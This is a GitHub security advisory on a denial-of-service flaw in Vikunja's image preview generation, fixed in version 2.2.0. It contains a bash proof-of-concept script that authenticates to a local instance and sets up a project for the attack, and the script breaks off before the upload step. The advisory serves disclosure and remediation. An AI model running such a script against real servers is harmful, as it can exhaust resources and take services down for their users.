GitHub Security Advisory: GHSA-wc83-79hj-hpmq
Package: code.vikunja.io/api (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 1.0.0-rc0, < 2.2.0
Patched in: 2.2.0

Summary: Vikunja Affected by DoS via Image Preview Generation

Details:
## Summary
- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
- Affected code:
  - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229)
  - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304)
  - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203)
- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

## Preconditions
- API running locally (`http://localhost:8080`).
- Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160).
- Any authenticated user with write access to a task.

## How It Works
- Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.
- The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244).

## Run The POC
- Script: 
```sh
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:-dosuser@example.com}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUT_DIR"

echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
  echo "[!] Task attachments disabled"
  exit 1
fi

echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
  | tee "$OUT_DIR/register.json" >/dev/null || true

echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
  | tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token"
  exit 1
fi

echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$PROJECT_TITLE"'"}' \
  | tee "$OUT_DIR/project.json" >/